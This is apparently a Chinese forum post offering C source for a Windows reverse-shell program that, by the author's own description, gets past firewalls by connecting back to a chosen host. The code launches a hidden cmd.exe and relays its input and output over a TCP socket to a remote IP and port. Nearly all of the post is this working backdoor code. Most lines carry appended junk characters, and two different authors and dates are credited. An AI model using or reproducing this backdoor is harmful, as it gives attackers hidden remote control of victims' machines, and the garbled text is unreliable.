这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <{3VK
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/* ============================== 7zgU>$i
Rebound port in Windows NT ?#rDoYt/Sx
By wind,2006/7 +*DXzVC
===============================*/ IpB0~`7YI
#include c+_F nA
#include H^B/
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#pragma comment(lib,"wsock32.lib") ;I:jd")
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void OutputShell(); {E@Vh
SOCKET sClient; km}%7|R?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O6YYOmt3
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void main(int argc,char **argv) oZmni9*SD
{ &xj?MgdNL
WSADATA stWsaData; -SlLX\>p
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; /V2Ih
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if(argc != 3) DdN{=}A
{ >(|T]u](q
printf("Useage:\n\rRebound DestIP DestPort\n"); k129)79
return; TF^Rh4
} y7u"a)T
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WSAStartup(MAKEWORD(2,2),&stWsaData); "/S-+Ufn
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7Fh%jRHZ`
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stSaiClient.sin_family = AF_INET; y['$^T?oP
stSaiClient.sin_port = htons(0); 'hf#Q9W5
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AcwLs%'sx
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V) a<)
{ 7s4G|N[wR\
printf("Bind Socket Failed!\n"); Z_zN:BJ8L
return; ^|5vmI'E
} Q=)$
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stSaiServer.sin_family = AF_INET; >OgA3)X
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sy.FMy+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NoB)tAvw
{ h#dp_#
printf("Connect Error!"); j_H9l,V
return; h8&VaJ
} &GGJ=c\
OutputShell(); 1Mn=m w
} E z?O
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void OutputShell() tBd-?+~7
{ "oz
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char szBuff[1024]; n`8BE9h^
SECURITY_ATTRIBUTES stSecurityAttributes; I<L
OSVERSIONINFO stOsversionInfo; iH<:wLY&J
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <j,ZAA&5%Y
STARTUPINFO stStartupInfo; wj!YYBH
char *szShell; R.@ I}>
PROCESS_INFORMATION stProcessInformation; j#G4A%_
unsigned long lBytesRead; :[xFp}w{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); />Kd w
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S3 12#X(%
stSecurityAttributes.lpSecurityDescriptor = 0; )l g>'O
stSecurityAttributes.bInheritHandle = TRUE; `v?XFwnV`
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##!idcC
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bca4'`3\|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6i'GM`>w
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "`g5iUHqUl
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o]/*YaB2>
stStartupInfo.wShowWindow = SW_HIDE; [wOz<<
stStartupInfo.hStdInput = hReadPipe; 41G}d+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XX&4OV,^%D
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GetVersionEx(&stOsversionInfo); ~H`m"4zQ
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switch(stOsversionInfo.dwPlatformId) \.ukZqB3
0
{ rf?%- X(V
case 1: wtM1gYl^
szShell = "command.com"; fVf
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break; sE^ee2]OI@
default: w3Lr~_j
szShell = "cmd.exe"; B']-4X{SGa
break; UOIB}ut
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} ?}g^/g !
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6mV-+CnYC
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send(sClient,szMsg,77,0); ibH!bS{
while(1) 9]C%2!Ur,
{ CiWz>HWH
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _=Z?5{7S>
if(lBytesRead) =E.!Ff4~(
{ ?}RPnf
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5(5:5q.A/D
send(sClient,szBuff,lBytesRead,0); bT7+$^NHf
} bog3=Ig-
else }#r awVe=
{ S-'R84M,F
lBytesRead=recv(sClient,szBuff,1024,0); fn#qcZv?
if(lBytesRead<=0) break; 3iM7c.f*/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <$(y6+lY
} ui
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} `L
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return; /q,vQ[R/
}